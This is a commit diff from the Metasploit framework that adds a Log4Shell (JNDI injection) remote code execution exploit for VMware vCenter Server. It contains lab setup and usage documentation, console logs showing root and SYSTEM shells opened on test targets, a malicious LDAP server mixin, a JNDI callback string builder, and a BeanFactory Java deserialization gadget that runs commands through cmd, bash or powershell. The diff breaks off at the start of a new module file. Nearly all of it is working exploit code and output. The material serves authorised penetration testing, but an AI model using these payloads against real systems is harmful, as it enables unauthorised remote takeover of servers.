Land #16050, Log4Shell: vCenter RCE
Merge branch 'land-16050' into upstream-master
This commit is contained in:
commit
4cf3ae352c
|
@ -0,0 +1,140 @@
|
|||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
VMware vCenter Server is affected by the Log4Shell vulnerability whereby a JNDI string can sent to the server
|
||||
that will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS
|
||||
command execution in the context of the root user in the case of the Linux virtual appliance and SYSTEM on
|
||||
Windows.
|
||||
|
||||
This module will start an LDAP server that the target will need to connect to. This exploit uses the logon page
|
||||
vector.
|
||||
|
||||
### Setup
|
||||
Once vCenter is installed, no configuration needs to take place. The application is vulnerable out of the box.
|
||||
|
||||
### Linux Appliance
|
||||
Follow the steps from the [vmware_vcenter_uploadova_rce][1] module.
|
||||
|
||||
In summary:
|
||||
|
||||
1. Obtain a `VMware-VCSA-all-6.7.0-#####.iso` file, the example will assume VMware-VCSA-all-6.7.0-11726888.iso.
|
||||
2. Mount the ISO and extract the OVA file from under the `vcsa` directory.
|
||||
3. Import it into VMware workstation, leave all options blank.
|
||||
4. When prompted to select a size, select tiny or small.
|
||||
5. The system will boot once, wait for a few minutes and then automatically reboot.
|
||||
6. Once the system has booted the second time, access the console to set the root password.
|
||||
7. Navigate to the HTTPS site on port 5480. The host IP address will be on the console.
|
||||
8. Complete the setup steps, when prompted use a public NTP server instead of synchronizing with the non-existent ESX
|
||||
server.
|
||||
9. Wait for setup to complete, and then exploit the service listening on port 443.
|
||||
|
||||
### Windows Application
|
||||
1. Obtain a `VMware-VIM-all-6.7.0-#####.iso` file.
|
||||
2. Mount the file in a Windows server, (use Server 2016 **not** Server 2019).
|
||||
3. Run the setup file in the root of the CD.
|
||||
4. Complete the setup process.
|
||||
5. Wait for setup to complete, and then exploit the service listening on port 443.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use exploit/multi/http/vmware_vcenter_log4shell`
|
||||
3. Set the `RHOSTS`, `TARGET`, `PAYLOAD`, and payload associated options
|
||||
4. Do: `run`
|
||||
5. If the target is vulnerable, the payload should be executed
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### VMware vCenter Server 6.7 Build 17028632 / Update 1b (Linux appliance)
|
||||
|
||||
```
|
||||
msf6 > use exploit/multi/http/vmware_vcenter_log4shell
|
||||
[*] Using configured payload windows/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/vmware_vcenter_log4shell) > set RHOSTS 192.168.159.55
|
||||
RHOSTS => 192.168.159.55
|
||||
msf6 exploit(multi/http/vmware_vcenter_log4shell) > set TARGET Linux
|
||||
TARGET => Linux
|
||||
msf6 exploit(multi/http/vmware_vcenter_log4shell) > set LHOST 192.168.159.128
|
||||
LHOST => 192.168.159.128
|
||||
msf6 exploit(multi/http/vmware_vcenter_log4shell) > set SRVHOST 192.168.159.128
|
||||
SRVHOST => 192.168.159.128
|
||||
msf6 exploit(multi/http/vmware_vcenter_log4shell) > check
|
||||
|
||||
[*] Using auxiliary/scanner/http/log4shell_scanner as check
|
||||
[+] 192.168.159.55:443 - Log4Shell found via /websso/SAML2/SSO/vsphere.local/?SAMLRequest= (header: X-Forwarded-For) (java: Oracle Corporation_1.8.0_251)
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Sleeping 30 seconds for any last LDAP connections
|
||||
[+] 192.168.159.55:443 - The target is vulnerable.
|
||||
msf6 exploit(multi/http/vmware_vcenter_log4shell) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.159.128:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Using auxiliary/scanner/http/log4shell_scanner as check
|
||||
[+] 192.168.159.55:443 - Log4Shell found via /websso/SAML2/SSO/vsphere.local/?SAMLRequest= (header: X-Forwarded-For) (java: Oracle Corporation_1.8.0_251)
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Sleeping 30 seconds for any last LDAP connections
|
||||
[+] The target is vulnerable.
|
||||
[+] Delivering the serialized Java object to execute the payload...
|
||||
[*] Command shell session 1 opened (192.168.159.128:4444 -> 192.168.159.55:48454 ) at 2022-01-13 12:38:14 -0500
|
||||
[*] Server stopped.
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
pwd
|
||||
/
|
||||
```
|
||||
|
||||
### VMware vCenter Server 6.7.0 Build 16708996 (Windows)
|
||||
|
||||
In this example, the target server is running on the non-default port of 8443.
|
||||
|
||||
```
|
||||
msf6 > use exploit/multi/http/vmware_vcenter_log4shell
|
||||
[*] Using configured payload windows/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/vmware_vcenter_log4shell) > set RHOSTS 192.168.159.45
|
||||
RHOSTS => 192.168.159.45
|
||||
msf6 exploit(multi/http/vmware_vcenter_log4shell) > set TARGET Windows
|
||||
TARGET => Windows
|
||||
msf6 exploit(multi/http/vmware_vcenter_log4shell) > set LHOST 192.168.159.128
|
||||
LHOST => 192.168.159.128
|
||||
msf6 exploit(multi/http/vmware_vcenter_log4shell) > set SRVHOST 192.168.159.128
|
||||
SRVHOST => 192.168.159.128
|
||||
msf6 exploit(multi/http/vmware_vcenter_log4shell) > set RPORT 8443
|
||||
RPORT => 8443
|
||||
msf6 exploit(multi/http/vmware_vcenter_log4shell) > check
|
||||
|
||||
[*] Using auxiliary/scanner/http/log4shell_scanner as check
|
||||
[+] 192.168.159.45:8443 - Log4Shell found via /websso/SAML2/SSO/vsphere.local/?SAMLRequest= (header: X-Forwarded-For) (java: Oracle Corporation_1.8.0_251)
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Sleeping 30 seconds for any last LDAP connections
|
||||
[+] 192.168.159.45:8443 - The target is vulnerable.
|
||||
msf6 exploit(multi/http/vmware_vcenter_log4shell) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.159.128:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Using auxiliary/scanner/http/log4shell_scanner as check
|
||||
[+] 192.168.159.45:8443 - Log4Shell found via /websso/SAML2/SSO/vsphere.local/?SAMLRequest= (header: X-Forwarded-For) (java: Oracle Corporation_1.8.0_251)
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Sleeping 30 seconds for any last LDAP connections
|
||||
[+] The target is vulnerable.
|
||||
[+] Delivering the serialized Java object to execute the payload...
|
||||
[*] Sending stage (175174 bytes) to 192.168.159.45
|
||||
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.45:63083 ) at 2022-01-13 14:22:00 -0500
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-BPID95ACQ7E
|
||||
OS : Windows 2016+ (10.0 Build 14393).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 8
|
||||
Meterpreter : x86/windows
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
[1]: https://github.com/rapid7/metasploit-framework/blob/ec37a88a4aecc49ffceaf10a1e8e09d3d15f8bda/documentation/modules/exploit/multi/http/vmware_vcenter_uploadova_rce.md#setup
|
|
@ -23,7 +23,13 @@ module Exploit::JavaDeserialization
|
|||
raise RuntimeError, 'Invalid shell for Java Deserialization payload generation'
|
||||
end
|
||||
|
||||
Msf::Util::JavaDeserialization.ysoserial_payload(name, command, modified_type: shell)
|
||||
if name == 'BeanFactory'
|
||||
blob = Msf::Util::JavaDeserialization::BeanFactory.generate(command, shell: shell)
|
||||
else
|
||||
blob = Msf::Util::JavaDeserialization.ysoserial_payload(name, command, modified_type: shell)
|
||||
end
|
||||
|
||||
blob
|
||||
end
|
||||
|
||||
# Generate a binary blob that when deserialized by Java will execute the specified payload. This routine converts the
|
||||
|
@ -60,5 +66,11 @@ module Exploit::JavaDeserialization
|
|||
generate_java_deserialization_for_command(name, shell, command)
|
||||
end
|
||||
|
||||
def self.gadget_chains
|
||||
chains = Msf::Util::JavaDeserialization.ysoserial_payload_names
|
||||
chains << 'BeanFactory' # not a ysoserial payload, but still supported
|
||||
chains.sort
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -49,7 +49,7 @@ module Exploit::Remote::CheckModule
|
|||
res = mod.run_simple(
|
||||
'LocalInput' => user_input,
|
||||
'LocalOutput' => user_output,
|
||||
'Options' => datastore # XXX: This clobbers the datastore!
|
||||
'Options' => datastore.merge(check_options)
|
||||
)
|
||||
|
||||
# Ensure return value is a CheckCode
|
||||
|
@ -78,6 +78,14 @@ module Exploit::Remote::CheckModule
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Override this method to change the datastore options with which the check module is executed.
|
||||
#
|
||||
# @return [Hash] The datastore options for the check module.
|
||||
def check_options
|
||||
{}
|
||||
end
|
||||
|
||||
def check_module
|
||||
datastore['CheckModule']
|
||||
end
|
||||
|
|
|
@ -0,0 +1,136 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
#
|
||||
# This is a mixin containing methods to facilitate exploiting JNDI injection flaws (such as Log4Shell) by using a
|
||||
# malicious LDAP server.
|
||||
#
|
||||
# See:
|
||||
# https://www.veracode.com/blog/research/exploiting-jndi-injections-java
|
||||
# https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
|
||||
#
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::JndiInjection
|
||||
include Msf::Exploit::Java
|
||||
include Msf::Exploit::JavaDeserialization
|
||||
include Msf::Exploit::Remote::LDAP::Server
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive))
|
||||
|
||||
register_advanced_options([
|
||||
OptBool.new('LDAP_AUTH_BYPASS', [true, 'Ignore LDAP client authentication', true])
|
||||
])
|
||||
end
|
||||
|
||||
# Create the JNDI injection string that will trigger an LDAP connection back to Metasploit.
|
||||
#
|
||||
# @return [String] the JNDI string
|
||||
def jndi_string
|
||||
"${jndi:ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{Rex::Text.rand_text_alpha_lower(3)}}"
|
||||
end
|
||||
|
||||
## LDAP service callbacks
|
||||
#
|
||||
# Handle incoming requests via service mixin
|
||||
#
|
||||
def on_dispatch_request(client, data)
|
||||
return if data.strip.empty?
|
||||
|
||||
data.extend(Net::BER::Extensions::String)
|
||||
begin
|
||||
pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax))
|
||||
vprint_status("LDAP request data remaining: #{data}") unless data.empty?
|
||||
resp = case pdu.app_tag
|
||||
when Net::LDAP::PDU::BindRequest # bind request
|
||||
client.authenticated = true
|
||||
service.encode_ldap_response(
|
||||
pdu.message_id,
|
||||
Net::LDAP::ResultCodeSuccess,
|
||||
'',
|
||||
'',
|
||||
Net::LDAP::PDU::BindResult
|
||||
)
|
||||
when Net::LDAP::PDU::SearchRequest # search request
|
||||
if client.authenticated || datastore['LDAP_AUTH_BYPASS']
|
||||
client.write(build_ldap_search_response(pdu.message_id, pdu.search_parameters[:base_object]))
|
||||
service.encode_ldap_response(pdu.message_id, Net::LDAP::ResultCodeSuccess, '', 'Search success', Net::LDAP::PDU::SearchResult)
|
||||
else
|
||||
service.encode_ldap_response(pdu.message_i, 50, '', 'Not authenticated', Net::LDAP::PDU::SearchResult)
|
||||
end
|
||||
else
|
||||
vprint_status("Client sent unexpected request #{pdu.app_tag}")
|
||||
client.close
|
||||
end
|
||||
resp.nil? ? client.close : on_send_response(client, resp)
|
||||
rescue StandardError => e
|
||||
print_error("Failed to handle LDAP request due to #{e}")
|
||||
client.close
|
||||
end
|
||||
|
||||
resp
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and serialize the payload as an LDAP search response
|
||||
#
|
||||
# @param msg_id [Integer] LDAP message identifier
|
||||
# @param base_dn [Sting] LDAP distinguished name
|
||||
#
|
||||
# @return [Array] packed BER sequence
|
||||
def build_ldap_search_response(msg_id, base_dn)
|
||||
attrs = build_ldap_search_response_payload
|
||||
appseq = [
|
||||
base_dn.to_ber,
|
||||
attrs.to_ber_sequence
|
||||
].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)
|
||||
[ msg_id.to_ber, appseq ].to_ber_sequence
|
||||
end
|
||||
|
||||
#
|
||||
# Build the LDAP response to the search request that contains the serialized payload.
|
||||
#
|
||||
# @return [Array] the array of attributes to add to the returned search data of the query response.
|
||||
def build_ldap_search_response_payload
|
||||
# exploit authors should override this and either call the inline one with a gadget chain that is compatible with
|
||||
# the target or setup an HTTP server and call the remote one
|
||||
build_ldap_search_response_payload_inline('BeanFactory')
|
||||
end
|
||||
|
||||
#
|
||||
# Build the LDAP response to the search request that contains the serialized payload to be executed.
|
||||
#
|
||||
# @param [String] gadget_chain The gadget chain to use to execute the payload. This value must be compatible with the
|
||||
# target application.
|
||||
# @return [Array] the array of attributes to add to the returned search data of the query response.
|
||||
def build_ldap_search_response_payload_inline(gadget_chain)
|
||||
java_payload = generate_java_deserialization_for_payload(gadget_chain, payload)
|
||||
[
|
||||
[ 'javaClassName'.to_ber, [ rand_text_alphanumeric(8..15).to_ber ].to_ber_set ].to_ber_sequence,
|
||||
[ 'javaSerializedData'.to_ber, [ java_payload.to_ber ].to_ber_set ].to_ber_sequence
|
||||
]
|
||||
end
|
||||
|
||||
#
|
||||
# Build the LDAP response to the search request that contains a reference to an HTTP server from which a remote class
|
||||
# will be loaded. The target must have the trusted code base option enabled for this technique to work. The HTTP
|
||||
# server from which the class is hosted is not managed by this method.
|
||||
#
|
||||
# @param [String] pay_url The URL from which the class should be loaded.
|
||||
# @param [String] pay_class The payload class name.
|
||||
# @return [Array] the array of attributes to add to the returned search data of the query response.
|
||||
def build_ldap_search_response_payload_remote(pay_url, pay_class = 'metasploit.PayloadFactory')
|
||||
[
|
||||
[ 'javaClassName'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence,
|
||||
[ 'javaFactory'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence,
|
||||
[ 'objectClass'.to_ber, [ 'javaNamingReference'.to_ber ].to_ber_set ].to_ber_sequence,
|
||||
[ 'javaCodebase'.to_ber, [ pay_url.to_ber ].to_ber_set ].to_ber_sequence,
|
||||
]
|
||||
end
|
||||
|
||||
def validate_configuration!
|
||||
fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') if ['0.0.0.0', '::'].include?(datastore['SRVHOST'])
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,186 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'stringio'
|
||||
require 'rex/java'
|
||||
|
||||
module Msf
|
||||
module Util
|
||||
class JavaDeserialization
|
||||
class BeanFactory
|
||||
|
||||
def self.generate(cmd, shell: nil)
|
||||
js_escaped = "String.fromCharCode(#{cmd.each_char.map(&:ord).map(&:to_s).join(',')})"
|
||||
|
||||
# emulate the same behavior as the ysoserial-modified series,
|
||||
# see: https://github.com/pimps/ysoserial-modified/blob/1bd423d30ae87074f94d6b9b687c17162f122c3d/src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java#L11
|
||||
payload_string = "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec("
|
||||
case shell
|
||||
when 'cmd'
|
||||
payload_string << "[\\\"cmd.exe\\\",\\\"/c\\\",#{js_escaped}]"
|
||||
when 'bash'
|
||||
payload_string << "[\\\"/bin/bash\\\",\\\"-c\\\",#{js_escaped}]"
|
||||
when 'powershell'
|
||||
payload_string << "[\\\"powershell.exe\\\",\\\"-c\\\",#{js_escaped}]"
|
||||
when nil
|
||||
payload_string << js_escaped
|
||||
else
|
||||
raise NotImplementedError, "unsupported shell: #{shell.inspect}"
|
||||
end
|
||||
payload_string << ")\")}"
|
||||
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents = [
|
||||
builder.new_object(
|
||||
name: 'org.apache.naming.ResourceRef',
|
||||
serial: 1,
|
||||
flags: 2,
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
|
||||
super_class: builder.new_class(
|
||||
name: 'org.apache.naming.AbstractRef',
|
||||
serial: 1,
|
||||
flags: 2,
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
|
||||
super_class: builder.new_class(
|
||||
name: 'javax.naming.Reference',
|
||||
serial: 16773268283643759881,
|
||||
flags: 2,
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
|
||||
).tap { |new_class|
|
||||
new_class.fields = [
|
||||
new_field(name: 'addrs', field_type: 'Ljava/util/Vector;'),
|
||||
new_field(name: 'classFactory', field_type: 'Ljava/lang/String;'),
|
||||
new_field(name: 'classFactoryLocation', field_type: new_ref(handle: 8257540)),
|
||||
new_field(name: 'className', field_type: new_ref(handle: 8257540))
|
||||
]
|
||||
},
|
||||
),
|
||||
data: [
|
||||
builder.new_object(
|
||||
name: 'java.util.Vector',
|
||||
serial: 15679138459660562177,
|
||||
flags: 3,
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
|
||||
data: [
|
||||
['int', 0],
|
||||
['int', 5],
|
||||
# stream.contents.first.class_data[0].class_data[2]
|
||||
builder.new_array(
|
||||
values_type: 'java.lang.Object;',
|
||||
name: '[Ljava.lang.Object;',
|
||||
serial: 10434374826863044972,
|
||||
flags: 2,
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
|
||||
# stream.contents.first.class_data[0].class_data[2].values
|
||||
values: [
|
||||
# stream.contents.first.class_data[0].class_data[2].values[0]
|
||||
builder.new_object(
|
||||
name: 'javax.naming.StringRefAddr',
|
||||
serial: 9532981578571046089,
|
||||
flags: 2,
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
|
||||
super_class: builder.new_class(
|
||||
name: 'javax.naming.RefAddr',
|
||||
serial: 16978578953230397258,
|
||||
flags: 2,
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
|
||||
).tap { |new_class|
|
||||
new_class.fields = [
|
||||
new_field(name: 'addrType', field_type: new_ref(handle: 8257540))
|
||||
]
|
||||
},
|
||||
data: [
|
||||
Rex::Java::Serialization::Model::Utf.new(stream, 'scope'),
|
||||
Rex::Java::Serialization::Model::Utf.new(stream)
|
||||
]
|
||||
).tap { |new_object|
|
||||
new_object.class_desc.description.fields = [
|
||||
new_field(name: 'contents', field_type: new_ref(handle: 8257540))
|
||||
]
|
||||
},
|
||||
# stream.contents.first.class_data[0].class_data[2].values[1]
|
||||
builder.new_object(
|
||||
description: new_ref(handle: 8257547),
|
||||
data: [
|
||||
Rex::Java::Serialization::Model::Utf.new(stream, 'auth'),
|
||||
new_ref(handle: 8257551)
|
||||
]
|
||||
),
|
||||
builder.new_object(
|
||||
description: new_ref(handle: 8257547),
|
||||
data: [
|
||||
Rex::Java::Serialization::Model::Utf.new(stream, 'singleton'),
|
||||
Rex::Java::Serialization::Model::Utf.new(stream, 'true'),
|
||||
]
|
||||
),
|
||||
# stream.contents.first.class_data[0].class_data[2].values[3]
|
||||
builder.new_object(
|
||||
description: new_ref(handle: 8257547),
|
||||
data: [
|
||||
Rex::Java::Serialization::Model::Utf.new(stream, 'forceString'),
|
||||
Rex::Java::Serialization::Model::Utf.new(stream, 'x=eval'),
|
||||
]
|
||||
),
|
||||
# stream.contents.first.class_data[0].class_data[2].values[4]
|
||||
builder.new_object(
|
||||
description: new_ref(handle: 8257547),
|
||||
data: [
|
||||
Rex::Java::Serialization::Model::Utf.new(stream, 'x'),
|
||||
Rex::Java::Serialization::Model::Utf.new(stream, payload_string),
|
||||
]
|
||||
),
|
||||
# stream.contents.first.class_data[0].class_data[2].values[5]
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
]
|
||||
)
|
||||
]
|
||||
).tap { |new_object|
|
||||
new_object.class_desc.description.fields = [
|
||||
new_field(type: 'int', name: 'capacityIncrement'),
|
||||
new_field(type: 'int', name: 'elementCount'),
|
||||
new_field(type: 'array', name: 'elementData', field_type: '[Ljava/lang/Object;')
|
||||
]
|
||||
},
|
||||
Rex::Java::Serialization::Model::EndBlockData.new,
|
||||
Rex::Java::Serialization::Model::Utf.new(stream, 'org.apache.naming.factory.BeanFactory'),
|
||||
Rex::Java::Serialization::Model::NullReference.new
|
||||
]
|
||||
),
|
||||
Rex::Java::Serialization::Model::Utf.new(stream, 'javax.el.ELProcessor')
|
||||
]
|
||||
stream.encode
|
||||
end
|
||||
|
||||
class << self
|
||||
private
|
||||
# helper methods that are not in Rex::Java::Serialization::Builder
|
||||
def new_field(opts = {})
|
||||
name = Rex::Java::Serialization::Model::Utf.new(opts[:stream], opts[:name])
|
||||
if opts[:field_type].is_a? String
|
||||
field_type = Rex::Java::Serialization::Model::Utf.new(opts[:stream], opts[:field_type])
|
||||
else
|
||||
field_type = opts[:field_type]
|
||||
end
|
||||
|
||||
field = Rex::Java::Serialization::Model::Field.new
|
||||
field.type = opts[:type] || 'object'
|
||||
field.name = name
|
||||
field.field_type = field_type
|
||||
field
|
||||
end
|
||||
|
||||
def new_ref(opts = {})
|
||||
ref = Rex::Java::Serialization::Model::Reference.new(opts[:stream])
|
||||
ref.handle = opts[:handle]
|
||||
|
||||
ref
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -5,10 +5,8 @@
|
|||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::JavaDeserialization
|
||||
include Msf::Exploit::Java
|
||||
include Msf::Exploit::Remote::JndiInjection
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::LDAP::Server
|
||||
include Msf::Exploit::Remote::CheckModule
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
|
@ -84,35 +82,30 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'AKA' => ['Log4Shell', 'LogJam'],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'RelatedModules' => [ 'auxiliary/scanner/http/log4shell_scanner' ]
|
||||
},
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive
|
||||
}
|
||||
)
|
||||
register_options([
|
||||
OptString.new('HTTP_METHOD', [ true, 'The HTTP method to use', 'GET' ]),
|
||||
OptString.new('TARGETURI', [ true, 'The URI to scan', '/']),
|
||||
OptString.new('HTTP_HEADER', [ false, 'The HTTP header to inject into' ]),
|
||||
OptEnum.new('JAVA_GADGET_CHAIN', [
|
||||
true, 'The ysoserial payload to use for deserialization', 'CommonsBeanutils1',
|
||||
Msf::Util::JavaDeserialization.ysoserial_payload_names
|
||||
true, 'The Java gadget chain to use for deserialization', 'CommonsBeanutils1',
|
||||
Msf::Exploit::JavaDeserialization.gadget_chains
|
||||
], conditions: %w[TARGET != Automatic]),
|
||||
OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080], conditions: %w[TARGET == Automatic]),
|
||||
OptBool.new('LDAP_AUTH_BYPASS', [true, 'Ignore LDAP client authentication', true])
|
||||
OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080], conditions: %w[TARGET == Automatic])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
validate_configuration!
|
||||
# set these scanner options as appropriate based on the config
|
||||
datastore['URIS_FILE'] = nil
|
||||
if !datastore['HTTP_HEADER'].blank?
|
||||
datastore['HEADERS_FILE'] = nil
|
||||
end
|
||||
|
||||
@checkcode = super
|
||||
end
|
||||
|
||||
def jndi_string
|
||||
"${jndi:ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{Rex::Text.rand_text_alpha_lower(3)}}"
|
||||
def check_options
|
||||
opts = { 'LDAP_TIMEOUT' => datastore['WfsDelay'], 'URIS_FILE' => nil }
|
||||
opts['HEADERS_FILE'] = nil unless datastore['HTTP_HEADER'].blank?
|
||||
opts
|
||||
end
|
||||
|
||||
def resource_url_string
|
||||
|
@ -151,74 +144,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
jar
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and serialize the payload as an LDAP search response
|
||||
#
|
||||
# @param msg_id [Integer] LDAP message identifier
|
||||
# @param base_dn [Sting] LDAP distinguished name
|
||||
#
|
||||
# @return [Array] packed BER sequence
|
||||
def serialized_payload(msg_id, base_dn, pay_class = 'metasploit.PayloadFactory')
|
||||
def build_ldap_search_response_payload
|
||||
if target['RemoteLoad']
|
||||
attrs = [
|
||||
[ 'javaClassName'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence,
|
||||
[ 'javaFactory'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence,
|
||||
[ 'objectClass'.to_ber, [ 'javaNamingReference'.to_ber ].to_ber_set ].to_ber_sequence,
|
||||
[ 'javaCodebase'.to_ber, [ resource_url_string.to_ber ].to_ber_set ].to_ber_sequence,
|
||||
]
|
||||
build_ldap_search_response_payload_remote(resource_url_string)
|
||||
else
|
||||
java_payload = generate_java_deserialization_for_payload(datastore['JAVA_GADGET_CHAIN'], payload)
|
||||
# vprint_good("Serialized java payload: #{java_payload}")
|
||||
attrs = [
|
||||
[ 'javaClassName'.to_ber, [ rand_text_alphanumeric(8..15).to_ber ].to_ber_set ].to_ber_sequence,
|
||||
[ 'javaSerializedData'.to_ber, [ java_payload.to_ber ].to_ber_set ].to_ber_sequence
|
||||
]
|
||||
build_ldap_search_response_payload_inline(datastore['JAVA_GADGET_CHAIN'])
|
||||
end
|
||||
appseq = [
|
||||
base_dn.to_ber,
|
||||
attrs.to_ber_sequence
|
||||
].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)
|
||||
[ msg_id.to_ber, appseq ].to_ber_sequence
|
||||
end
|
||||
|
||||
## LDAP service callbacks
|
||||
#
|
||||
# Handle incoming requests via service mixin
|
||||
#
|
||||
def on_dispatch_request(client, data)
|
||||
return if data.strip.empty?
|
||||
|
||||
data.extend(Net::BER::Extensions::String)
|
||||
begin
|
||||
pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax))
|
||||
vprint_status("LDAP request data remaining: #{data}") unless data.empty?
|
||||
resp = case pdu.app_tag
|
||||
when Net::LDAP::PDU::BindRequest # bind request
|
||||
client.authenticated = true
|
||||
service.encode_ldap_response(
|
||||
pdu.message_id,
|
||||
Net::LDAP::ResultCodeSuccess,
|
||||
'',
|
||||
'',
|
||||
Net::LDAP::PDU::BindResult
|
||||
)
|
||||
when Net::LDAP::PDU::SearchRequest # search request
|
||||
if client.authenticated || datastore['LDAP_AUTH_BYPASS']
|
||||
client.write(serialized_payload(pdu.message_id, pdu.search_parameters[:base_object]))
|
||||
service.encode_ldap_response(pdu.message_id, Net::LDAP::ResultCodeSuccess, '', 'Search success', Net::LDAP::PDU::SearchResult)
|
||||
else
|
||||
service.encode_ldap_response(pdu.message_i, 50, '', 'Not authenticated', Net::LDAP::PDU::SearchResult)
|
||||
end
|
||||
else
|
||||
vprint_status("Client sent unexpected request #{pdu.app_tag}")
|
||||
client.close
|
||||
end
|
||||
resp.nil? ? client.close : on_send_response(client, resp)
|
||||
rescue StandardError => e
|
||||
print_error("Failed to handle LDAP request due to #{e}")
|
||||
client.close
|
||||
end
|
||||
resp
|
||||
end
|
||||
|
||||
## HTTP service callbacks
|
||||
|
@ -290,6 +221,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
super
|
||||
end
|
||||
|
||||
def validate_configuration!
|
||||
super
|
||||
|
||||
if datastore['HTTP_HEADER'].blank? && !datastore['AutoCheck']
|
||||
fail_with(Exploit::Failure::BadConfig, 'Either the AutoCheck option must be enabled or an HTTP_HEADER must be specified.')
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Boilerplate HTTP service code
|
||||
|
@ -353,11 +292,4 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
@service_path = uopts['Path']
|
||||
@http_service.add_resource(uopts['Path'], uopts)
|
||||
end
|
||||
|
||||
def validate_configuration!
|
||||
fail_with(Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') if ['0.0.0.0', '::'].include?(datastore['SRVHOST'])
|
||||
if datastore['HTTP_HEADER'].blank? && !datastore['AutoCheck']
|
||||
fail_with(Failure::BadConfig, 'Either the AutoCheck option must be enabled or an HTTP_HEADER must be specified.')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,135 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::JndiInjection
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::CheckModule
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(_info = {})
|
||||
super(
|
||||
'Name' => 'VMware vCenter Server Unauthenticated JNDI Injection RCE (via Log4Shell)',
|
||||
